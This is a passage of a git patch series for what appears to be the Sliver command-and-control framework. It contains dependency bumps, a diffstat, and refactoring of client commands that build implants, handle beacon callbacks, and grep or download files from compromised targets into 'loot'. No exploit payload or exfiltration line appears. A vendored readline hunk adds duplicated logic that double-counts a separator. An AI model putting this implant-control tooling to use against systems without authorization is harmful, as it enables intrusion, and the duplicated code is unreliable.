h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= -github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/reeflective/readline v1.0.10 h1:neAdbArjB1f5LZ2JBh/9TZ9ibFUrjjvBS8xuhLbx5do= +github.com/reeflective/readline v1.0.10/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go index 5252573134..2298baf79f 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/group.go +++ b/vendor/github.com/reeflective/readline/internal/completion/group.go @@ -6,9 +6,10 @@ import ( "strconv" "strings" + "golang.org/x/exp/slices" + "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/term" - "golang.org/x/exp/slices" ) // group is used to structure different types of completions with different @@ -324,6 +325,11 @@ func (g *group) longestValueDescribed(vals []Candidate) int { longestVal = val.displayLen } + if val.descLen > longestDesc { + longestDesc = val.descLen + + } + if val.descLen > longestDesc { longestDesc = val.descLen } @@ -333,6 +339,10 @@ func (g *group) longestValueDescribed(vals []Candidate) int { longestDesc += descSeparatorLen } + if longestDesc > 0 { + longestDesc += descSeparatorLen + } + // Always add one: there is at least one space between each column. return longestVal + longestDesc + 1 } @@ -398,7 +408,7 @@ func (g *group) trimDesc(val Candidate, pad int) (desc, padded string) { func (g *group) getPad(value Candidate, columnIndex int, desc bool) int { columns := g.columnsWidth - var valLen = value.displayLen - 1 + valLen := value.displayLen - 1 if desc { columns = g.descriptionsWidth diff --git a/vendor/github.com/reeflective/readline/internal/completion/utils.go b/vendor/github.com/reeflective/readline/internal/completion/utils.go index 64b0c6f3f4..a80a5104eb 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/utils.go +++ b/vendor/github.com/reeflective/readline/internal/completion/utils.go @@ -126,7 +126,7 @@ func (e *Engine) generateGroup(comps Values) func(tag string, values RawValues) // If we have a remaining group of values without descriptions, // we will print and use them in a separate, anonymous group. if len(noDescVals) > 0 { - e.newCompletionGroup(comps, "", vals, descriptions) + e.newCompletionGroup(comps, "", noDescVals, descriptions) } } } diff --git a/vendor/modules.txt b/vendor/modules.txt index 745ea527d5..73cc764f8d 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -522,7 +522,7 @@ github.com/psanford/memfs ## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.9 +# github.com/reeflective/readline v1.0.10 ## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc From 08d26e90912620a8db67b942a5da761f20ed5426 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 28 Nov 2023 22:52:14 +0100 Subject: [PATCH 110/124] Fix all merge stuff, compiles --- client/command/c2profiles/c2profiles.go | 6 +- client/command/filesystem/grep.go | 13 +- client/command/filesystem/head.go | 4 +- client/command/generate/generate.go | 4 +- client/command/generate/helpers.go | 50 +- client/command/generate/implants-stage.go | 4 +- client/command/generate/profiles-stage.go | 2 +- client/command/help/long-help.go | 2 +- client/command/monitor/config.go | 12 +- client/console/implant.go | 2 +- go.mod | 36 +- go.sum | 42 +- protobuf/clientpb/client.pb.go | 5731 +++++++++-------- protobuf/commonpb/common.pb.go | 96 +- protobuf/dnspb/dns.pb.go | 4 +- protobuf/rpcpb/services.pb.go | 2442 +++---- protobuf/rpcpb/services_grpc.pb.go | 233 +- protobuf/sliverpb/sliver.pb.go | 4 +- server/cli/cli.go | 22 +- server/cli/daemon.go | 0 server/cli/operator.go | 0 server/rpc/rpc-beacons.go | 9 +- server/transport/local.go | 0 server/transport/mtls.go | 1 + .../github.com/ncruces/go-sqlite3/README.md | 22 +- .../github.com/ncruces/go-sqlite3/backup.go | 2 +- vendor/github.com/ncruces/go-sqlite3/conn.go | 24 +- vendor/github.com/ncruces/go-sqlite3/const.go | 20 +- .../ncruces/go-sqlite3/driver/driver.go | 45 +- .../ncruces/go-sqlite3/embed/README.md | 1 + .../ncruces/go-sqlite3/embed/build.sh | 11 +- .../ncruces/go-sqlite3/embed/exports.txt | 29 +- .../ncruces/go-sqlite3/embed/sqlite3.wasm | Bin 1444429 -> 1432950 bytes vendor/github.com/ncruces/go-sqlite3/error.go | 22 + .../ncruces/go-sqlite3/internal/util/func.go | 26 + .../github.com/ncruces/go-sqlite3/module.go | 352 - vendor/github.com/ncruces/go-sqlite3/stmt.go | 27 +- .../github.com/ncruces/go-sqlite3/vfs/api.go | 2 +- .../github.com/ncruces/go-sqlite3/vfs/vfs.go | 67 +- .../github.com/reeflective/console/README.md | 12 +- .../github.com/reeflective/console/command.go | 37 - .../console/commands/readline/bind.go | 499 +- .../console/commands/readline/commands.go | 3 +- .../console/commands/readline/set.go | 91 +- .../github.com/reeflective/console/console.go | 9 +- .../reeflective/console/highlighter.go | 3 +- vendor/github.com/reeflective/console/line.go | 26 + vendor/github.com/reeflective/console/menu.go | 149 +- vendor/github.com/reeflective/console/run.go | 96 +- .../reeflective/console/syntax-highlighter.go | 111 - .../reeflective/console/tab-completer.go | 301 - vendor/github.com/tetratelabs/wazero/Makefile | 4 + .../tetratelabs/wazero/RATIONALE.md | 177 +- .../github.com/tetratelabs/wazero/config.go | 4 +- .../wazero/experimental/sys/syscall_errno.go | 50 +- .../sys/syscall_errno_notwindows.go | 15 +- .../experimental/sys/syscall_errno_windows.go | 3 +- .../github.com/tetratelabs/wazero/fsconfig.go | 27 +- .../imports/wasi_snapshot_preview1/fs.go | 97 +- .../imports/wasi_snapshot_preview1/poll.go | 99 +- .../imports/wasi_snapshot_preview1/sock.go | 7 +- .../testdata/tinygo/wasi.go | 2 + .../wazero/internal/engine/compiler/engine.go | 64 +- .../internal/engine/compiler/engine_cache.go | 9 +- .../internal/engine/compiler/impl_amd64.go | 6 +- .../tetratelabs/wazero/internal/fsapi/dir.go | 109 - .../tetratelabs/wazero/internal/fsapi/file.go | 348 +- .../tetratelabs/wazero/internal/fsapi/fs.go | 296 - .../wazero/internal/fsapi/oflag.go | 70 - .../wazero/internal/fsapi/unimplemented.go | 188 +- .../wazero/internal/platform/fdset.go | 25 - .../wazero/internal/platform/fdset_darwin.go | 8 - .../wazero/internal/platform/fdset_linux.go | 8 - .../internal/platform/fdset_unsupported.go | 10 - .../wazero/internal/platform/fdset_windows.go | 239 - .../tetratelabs/wazero/internal/sock/sock.go | 9 +- .../tetratelabs/wazero/internal/sys/fs.go | 64 +- .../tetratelabs/wazero/internal/sys/lazy.go | 103 +- .../tetratelabs/wazero/internal/sys/stdio.go | 39 +- .../tetratelabs/wazero/internal/sys/sys.go | 10 +- .../wazero/internal/sysfs/adapter.go | 104 +- .../tetratelabs/wazero/internal/sysfs/dir.go | 5 +- .../wazero/internal/sysfs/dirfs.go | 44 +- .../tetratelabs/wazero/internal/sysfs/file.go | 133 +- .../wazero/internal/sysfs/file_test.go | 194 +- .../wazero/internal/sysfs/file_unix.go | 5 + .../wazero/internal/sysfs/file_unsupported.go | 10 +- .../wazero/internal/sysfs/file_windows.go | 5 + .../wazero/internal/sysfs/futimens.go | 116 +- .../wazero/internal/sysfs/futimens_darwin.go | 24 +- .../wazero/internal/sysfs/futimens_linux.go | 28 +- .../internal/sysfs/futimens_unsupported.go | 14 +- .../wazero/internal/sysfs/futimens_windows.go | 46 +- .../wazero/internal/sysfs/nonblock_unix.go | 10 +- .../wazero/internal/sysfs/nonblock_windows.go | 10 +- .../wazero/internal/sysfs/oflag.go | 22 +- .../wazero/internal/sysfs/open_file_darwin.go | 14 +- .../internal/sysfs/open_file_freebsd.go | 12 +- .../wazero/internal/sysfs/open_file_linux.go | 16 +- .../internal/sysfs/open_file_notwindows.go | 7 +- .../wazero/internal/sysfs/open_file_sun.go | 16 +- .../internal/sysfs/open_file_unsupported.go | 8 +- .../internal/sysfs/open_file_windows.go | 11 +- .../wazero/internal/sysfs/osfile.go | 78 +- .../wazero/internal/sysfs/readfs.go | 106 +- .../wazero/internal/sysfs/rename.go | 2 +- .../wazero/internal/sysfs/select.go | 36 - .../wazero/internal/sysfs/select_darwin.go | 45 - .../wazero/internal/sysfs/select_darwin.s | 8 - .../wazero/internal/sysfs/select_linux.go | 18 - .../internal/sysfs/select_unsupported.go | 14 - .../wazero/internal/sysfs/select_windows.go | 173 - .../tetratelabs/wazero/internal/sysfs/sock.go | 5 +- .../wazero/internal/sysfs/sock_unix.go | 61 +- .../wazero/internal/sysfs/sock_windows.go | 108 +- .../wazero/internal/sysfs/stat_bsd.go | 12 - .../wazero/internal/sysfs/stat_linux.go | 12 - .../wazero/internal/sysfs/stat_unsupported.go | 8 - .../wazero/internal/sysfs/stat_windows.go | 17 - .../wazero/internal/sysfs/unlink.go | 2 +- .../wazero/internal/sysfs/unlink_windows.go | 2 - vendor/golang.org/x/crypto/ssh/client_auth.go | 20 +- vendor/golang.org/x/crypto/ssh/common.go | 8 + vendor/golang.org/x/crypto/ssh/server.go | 5 +- vendor/golang.org/x/crypto/ssh/tcpip.go | 35 + vendor/golang.org/x/exp/slog/handler.go | 18 + .../x/net/dns/dnsmessage/message.go | 9 + vendor/golang.org/x/net/http2/databuffer.go | 59 +- vendor/golang.org/x/net/http2/go111.go | 30 - vendor/golang.org/x/net/http2/go115.go | 27 - vendor/golang.org/x/net/http2/go118.go | 17 - vendor/golang.org/x/net/http2/not_go111.go | 21 - vendor/golang.org/x/net/http2/not_go115.go | 31 - vendor/golang.org/x/net/http2/not_go118.go | 17 - vendor/golang.org/x/net/http2/server.go | 24 +- vendor/golang.org/x/net/http2/transport.go | 33 +- vendor/golang.org/x/net/icmp/helper_posix.go | 1 - vendor/golang.org/x/net/icmp/listen_posix.go | 1 - vendor/golang.org/x/net/icmp/listen_stub.go | 1 - vendor/golang.org/x/net/idna/go118.go | 1 - vendor/golang.org/x/net/idna/idna10.0.0.go | 1 - vendor/golang.org/x/net/idna/idna9.0.0.go | 1 - vendor/golang.org/x/net/idna/pre_go118.go | 1 - vendor/golang.org/x/net/idna/tables10.0.0.go | 1 - vendor/golang.org/x/net/idna/tables11.0.0.go | 1 - vendor/golang.org/x/net/idna/tables12.0.0.go | 1 - vendor/golang.org/x/net/idna/tables13.0.0.go | 1 - vendor/golang.org/x/net/idna/tables15.0.0.go | 1 - vendor/golang.org/x/net/idna/tables9.0.0.go | 1 - vendor/golang.org/x/net/idna/trie12.0.0.go | 1 - vendor/golang.org/x/net/idna/trie13.0.0.go | 1 - .../x/net/internal/socket/cmsghdr.go | 1 - .../x/net/internal/socket/cmsghdr_bsd.go | 1 - .../internal/socket/cmsghdr_linux_32bit.go | 2 - .../internal/socket/cmsghdr_linux_64bit.go | 2 - .../internal/socket/cmsghdr_solaris_64bit.go | 1 - .../x/net/internal/socket/cmsghdr_stub.go | 1 - .../x/net/internal/socket/cmsghdr_unix.go | 1 - .../net/internal/socket/complete_dontwait.go | 1 - .../internal/socket/complete_nodontwait.go | 1 - .../golang.org/x/net/internal/socket/empty.s | 1 - .../x/net/internal/socket/error_unix.go | 1 - .../x/net/internal/socket/iovec_32bit.go | 2 - .../x/net/internal/socket/iovec_64bit.go | 2 - .../internal/socket/iovec_solaris_64bit.go | 1 - .../x/net/internal/socket/iovec_stub.go | 1 - .../x/net/internal/socket/mmsghdr_stub.go | 1 - .../x/net/internal/socket/mmsghdr_unix.go | 1 - .../x/net/internal/socket/msghdr_bsd.go | 1 - .../x/net/internal/socket/msghdr_bsdvar.go | 1 - .../net/internal/socket/msghdr_linux_32bit.go | 2 - .../net/internal/socket/msghdr_linux_64bit.go | 2 - .../internal/socket/msghdr_solaris_64bit.go | 1 - .../x/net/internal/socket/msghdr_stub.go | 1 - .../x/net/internal/socket/msghdr_zos_s390x.go | 1 - .../x/net/internal/socket/norace.go | 1 - .../golang.org/x/net/internal/socket/race.go | 1 - .../x/net/internal/socket/rawconn_mmsg.go | 1 - .../x/net/internal/socket/rawconn_msg.go | 1 - .../x/net/internal/socket/rawconn_nommsg.go | 1 - .../x/net/internal/socket/rawconn_nomsg.go | 1 - .../x/net/internal/socket/sys_bsd.go | 1 - .../x/net/internal/socket/sys_const_unix.go | 1 - .../x/net/internal/socket/sys_linux.go | 1 - .../net/internal/socket/sys_linux_loong64.go | 1 - .../net/internal/socket/sys_linux_riscv64.go | 1 - .../x/net/internal/socket/sys_posix.go | 1 - .../x/net/internal/socket/sys_stub.go | 1 - .../x/net/internal/socket/sys_unix.go | 1 - .../x/net/internal/socket/zsys_aix_ppc64.go | 1 - .../net/internal/socket/zsys_linux_loong64.go | 1 - .../net/internal/socket/zsys_linux_riscv64.go | 1 - vendor/golang.org/x/net/ipv4/control_bsd.go | 1 - .../golang.org/x/net/ipv4/control_pktinfo.go | 1 - vendor/golang.org/x/net/ipv4/control_stub.go | 1 - vendor/golang.org/x/net/ipv4/control_unix.go | 1 - vendor/golang.org/x/net/ipv4/icmp_stub.go | 1 - vendor/golang.org/x/net/ipv4/payload_cmsg.go | 1 - .../golang.org/x/net/ipv4/payload_nocmsg.go | 1 - vendor/golang.org/x/net/ipv4/sockopt_posix.go | 1 - vendor/golang.org/x/net/ipv4/sockopt_stub.go | 1 - vendor/golang.org/x/net/ipv4/sys_aix.go | 1 - vendor/golang.org/x/net/ipv4/sys_asmreq.go | 1 - .../golang.org/x/net/ipv4/sys_asmreq_stub.go | 1 - vendor/golang.org/x/net/ipv4/sys_asmreqn.go | 1 - .../golang.org/x/net/ipv4/sys_asmreqn_stub.go | 1 - vendor/golang.org/x/net/ipv4/sys_bpf.go | 1 - vendor/golang.org/x/net/ipv4/sys_bpf_stub.go | 1 - vendor/golang.org/x/net/ipv4/sys_bsd.go | 1 - vendor/golang.org/x/net/ipv4/sys_ssmreq.go | 1 - .../golang.org/x/net/ipv4/sys_ssmreq_stub.go | 1 - vendor/golang.org/x/net/ipv4/sys_stub.go | 1 - .../golang.org/x/net/ipv4/zsys_aix_ppc64.go | 1 - .../x/net/ipv4/zsys_linux_loong64.go | 1 - .../x/net/ipv4/zsys_linux_riscv64.go | 1 - .../x/net/ipv6/control_rfc2292_unix.go | 1 - .../x/net/ipv6/control_rfc3542_unix.go | 1 - vendor/golang.org/x/net/ipv6/control_stub.go | 1 - vendor/golang.org/x/net/ipv6/control_unix.go | 1 - vendor/golang.org/x/net/ipv6/icmp_bsd.go | 1 - vendor/golang.org/x/net/ipv6/icmp_stub.go | 1 - vendor/golang.org/x/net/ipv6/payload_cmsg.go | 1 - .../golang.org/x/net/ipv6/payload_nocmsg.go | 1 - vendor/golang.org/x/net/ipv6/sockopt_posix.go | 1 - vendor/golang.org/x/net/ipv6/sockopt_stub.go | 1 - vendor/golang.org/x/net/ipv6/sys_aix.go | 1 - vendor/golang.org/x/net/ipv6/sys_asmreq.go | 1 - .../golang.org/x/net/ipv6/sys_asmreq_stub.go | 1 - vendor/golang.org/x/net/ipv6/sys_bpf.go | 1 - vendor/golang.org/x/net/ipv6/sys_bpf_stub.go | 1 - vendor/golang.org/x/net/ipv6/sys_bsd.go | 1 - vendor/golang.org/x/net/ipv6/sys_ssmreq.go | 1 - .../golang.org/x/net/ipv6/sys_ssmreq_stub.go | 1 - vendor/golang.org/x/net/ipv6/sys_stub.go | 1 - .../golang.org/x/net/ipv6/zsys_aix_ppc64.go | 1 - .../x/net/ipv6/zsys_linux_loong64.go | 1 - .../x/net/ipv6/zsys_linux_riscv64.go | 1 - vendor/golang.org/x/net/route/address.go | 1 - vendor/golang.org/x/net/route/binary.go | 1 - vendor/golang.org/x/net/route/empty.s | 1 - vendor/golang.org/x/net/route/interface.go | 1 - .../x/net/route/interface_announce.go | 1 - .../x/net/route/interface_classic.go | 1 - .../x/net/route/interface_multicast.go | 1 - vendor/golang.org/x/net/route/message.go | 1 - vendor/golang.org/x/net/route/route.go | 1 - .../golang.org/x/net/route/route_classic.go | 1 - vendor/golang.org/x/net/route/sys.go | 1 - vendor/golang.org/x/net/route/syscall.go | 1 - vendor/golang.org/x/sync/errgroup/go120.go | 1 - .../golang.org/x/sync/errgroup/pre_go120.go | 1 - vendor/golang.org/x/sys/execabs/execabs.go | 102 - .../golang.org/x/sys/execabs/execabs_go118.go | 17 - .../golang.org/x/sys/execabs/execabs_go119.go | 20 - vendor/golang.org/x/sys/unix/fcntl.go | 2 +- vendor/golang.org/x/sys/unix/ioctl_linux.go | 5 + vendor/golang.org/x/sys/unix/mkerrors.sh | 3 +- vendor/golang.org/x/sys/unix/syscall_bsd.go | 2 +- vendor/golang.org/x/sys/unix/syscall_linux.go | 28 +- .../golang.org/x/sys/unix/syscall_openbsd.go | 14 + .../golang.org/x/sys/unix/syscall_solaris.go | 2 +- .../x/sys/unix/syscall_zos_s390x.go | 2 +- vendor/golang.org/x/sys/unix/zerrors_linux.go | 2 +- .../golang.org/x/sys/unix/zsyscall_linux.go | 15 + .../x/sys/unix/zsyscall_openbsd_386.go | 26 + .../x/sys/unix/zsyscall_openbsd_386.s | 5 + .../x/sys/unix/zsyscall_openbsd_amd64.go | 26 + .../x/sys/unix/zsyscall_openbsd_amd64.s | 5 + .../x/sys/unix/zsyscall_openbsd_arm.go | 26 + .../x/sys/unix/zsyscall_openbsd_arm.s | 5 + .../x/sys/unix/zsyscall_openbsd_arm64.go | 26 + .../x/sys/unix/zsyscall_openbsd_arm64.s | 5 + .../x/sys/unix/zsyscall_openbsd_mips64.go | 26 + .../x/sys/unix/zsyscall_openbsd_mips64.s | 5 + .../x/sys/unix/zsyscall_openbsd_ppc64.go | 26 + .../x/sys/unix/zsyscall_openbsd_ppc64.s | 6 + .../x/sys/unix/zsyscall_openbsd_riscv64.go | 26 + .../x/sys/unix/zsyscall_openbsd_riscv64.s | 5 + vendor/golang.org/x/sys/unix/ztypes_linux.go | 32 + .../x/sys/windows/syscall_windows.go | 2 + .../x/sys/windows/zsyscall_windows.go | 19 + .../tools/go/internal/packagesdriver/sizes.go | 15 +- .../x/tools/go/packages/external.go | 2 +- .../golang.org/x/tools/go/packages/golist.go | 76 +- .../x/tools/go/packages/golist_overlay.go | 492 -- .../x/tools/go/packages/packages.go | 177 +- .../x/tools/go/types/objectpath/objectpath.go | 117 +- .../x/tools/internal/gocommand/invoke.go | 27 +- .../internal/packagesinternal/packages.go | 8 - .../internal/typesinternal/objectpath.go | 24 - .../x/tools/internal/versions/gover.go | 172 + .../x/tools/internal/versions/types.go | 19 + .../x/tools/internal/versions/types_go121.go | 20 + .../x/tools/internal/versions/types_go122.go | 24 + .../tools/internal/versions/versions_go121.go | 49 + .../tools/internal/versions/versions_go122.go | 38 + vendor/modules.txt | 61 +- vendor/mvdan.cc/sh/v3/LICENSE | 27 + vendor/mvdan.cc/sh/v3/fileutil/file.go | 85 + vendor/mvdan.cc/sh/v3/syntax/braces.go | 177 + vendor/mvdan.cc/sh/v3/syntax/canonical.sh | 37 + vendor/mvdan.cc/sh/v3/syntax/doc.go | 6 + vendor/mvdan.cc/sh/v3/syntax/lexer.go | 1209 ++++ vendor/mvdan.cc/sh/v3/syntax/nodes.go | 953 +++ vendor/mvdan.cc/sh/v3/syntax/parser.go | 2489 +++++++ vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go | 353 + vendor/mvdan.cc/sh/v3/syntax/printer.go | 1530 +++++ vendor/mvdan.cc/sh/v3/syntax/quote.go | 185 + .../sh/v3/syntax/quotestate_string.go | 61 + vendor/mvdan.cc/sh/v3/syntax/simplify.go | 250 + vendor/mvdan.cc/sh/v3/syntax/token_string.go | 149 + vendor/mvdan.cc/sh/v3/syntax/tokens.go | 349 + vendor/mvdan.cc/sh/v3/syntax/walk.go | 313 + 313 files changed, 15717 insertions(+), 9094 deletions(-) delete mode 100644 server/cli/daemon.go delete mode 100644 server/cli/operator.go delete mode 100644 server/transport/local.go delete mode 100644 vendor/github.com/ncruces/go-sqlite3/module.go delete mode 100644 vendor/github.com/reeflective/console/syntax-highlighter.go delete mode 100644 vendor/github.com/reeflective/console/tab-completer.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go delete mode 100644 vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go delete mode 100644 vendor/golang.org/x/net/http2/go111.go delete mode 100644 vendor/golang.org/x/net/http2/go115.go delete mode 100644 vendor/golang.org/x/net/http2/go118.go delete mode 100644 vendor/golang.org/x/net/http2/not_go111.go delete mode 100644 vendor/golang.org/x/net/http2/not_go115.go delete mode 100644 vendor/golang.org/x/net/http2/not_go118.go delete mode 100644 vendor/golang.org/x/sys/execabs/execabs.go delete mode 100644 vendor/golang.org/x/sys/execabs/execabs_go118.go delete mode 100644 vendor/golang.org/x/sys/execabs/execabs_go119.go delete mode 100644 vendor/golang.org/x/tools/internal/typesinternal/objectpath.go create mode 100644 vendor/golang.org/x/tools/internal/versions/gover.go create mode 100644 vendor/golang.org/x/tools/internal/versions/types.go create mode 100644 vendor/golang.org/x/tools/internal/versions/types_go121.go create mode 100644 vendor/golang.org/x/tools/internal/versions/types_go122.go create mode 100644 vendor/golang.org/x/tools/internal/versions/versions_go121.go create mode 100644 vendor/golang.org/x/tools/internal/versions/versions_go122.go create mode 100644 vendor/mvdan.cc/sh/v3/LICENSE create mode 100644 vendor/mvdan.cc/sh/v3/fileutil/file.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/braces.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/canonical.sh create mode 100644 vendor/mvdan.cc/sh/v3/syntax/doc.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/lexer.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/nodes.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/parser.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/parser_arithm.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/printer.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/quote.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/simplify.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/token_string.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/tokens.go create mode 100644 vendor/mvdan.cc/sh/v3/syntax/walk.go diff --git a/client/command/c2profiles/c2profiles.go b/client/command/c2profiles/c2profiles.go index e056cfcdd5..921796bcec 100644 --- a/client/command/c2profiles/c2profiles.go +++ b/client/command/c2profiles/c2profiles.go @@ -39,7 +39,7 @@ import ( ) // C2ProfileCmd list available http profiles -func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("name") if profileName == constants.DefaultC2Profile { @@ -61,7 +61,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s PrintC2Profiles(profile, con) } -func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { protocols := []string{constants.HttpStr, constants.HttpsStr} profileName, _ := cmd.Flags().GetString("name") if profileName == "" { @@ -248,7 +248,7 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client } // PrintImplantBuilds - Print the implant builds on the server -func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) { +func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/filesystem/grep.go b/client/command/filesystem/grep.go index 107cd73693..650b0b4a62 100644 --- a/client/command/filesystem/grep.go +++ b/client/command/filesystem/grep.go @@ -41,7 +41,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { return searchPattern } - var processedSearchPattern = searchPattern + processedSearchPattern := searchPattern flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`) flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern) @@ -62,7 +62,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern) if exact { - var endIndexOfFlags = 0 + endIndexOfFlags := 0 if flagsSpecifiedIndex != nil { endIndexOfFlags = flagsSpecifiedIndex[1] @@ -83,7 +83,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { return processedSearchPattern } -func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GrepCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -136,7 +136,7 @@ func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string return } if grep.Response != nil && grep.Response.Async { - con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(grep.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, grep) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -152,7 +152,7 @@ func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // printGrep - Print the results from the grep operation to stdout -func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") colorize, _ := cmd.Flags().GetBool("colorize-output") @@ -233,7 +233,6 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString)) loot.LootText(grepResultsString, lootName, lootFileName, fileType, con) } - } // grepLineResult - Add color or formatting for results for console output @@ -268,7 +267,7 @@ func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, coloriz // printGrepResults - Take the results from the implant and put them together for output to the console or loot func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) { var resultOutput []string - var numberOfResults = 0 + numberOfResults := 0 binaryFilesMatched := []string{} for fileName, result := range results { diff --git a/client/command/filesystem/head.go b/client/command/filesystem/head.go index 9a0c782fb7..57a47a6690 100644 --- a/client/command/filesystem/head.go +++ b/client/command/filesystem/head.go @@ -29,7 +29,7 @@ import ( "google.golang.org/protobuf/proto" ) -func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) { +func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head bool) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -112,7 +112,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index d1b2abb816..61c2cf11bc 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -182,7 +182,7 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } // Shared function that extracts the compile flags from the grumble context. -func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) *clientpb.ImplantConfig { +func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *clientpb.ImplantConfig) { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { name = strings.ToLower(nameF) @@ -783,7 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { +func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) { potentialBuilders, err := findExternalBuilders(config, con) if err != nil { return nil, err diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 49b1c88d12..3049b869fb 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -15,7 +15,7 @@ import ( 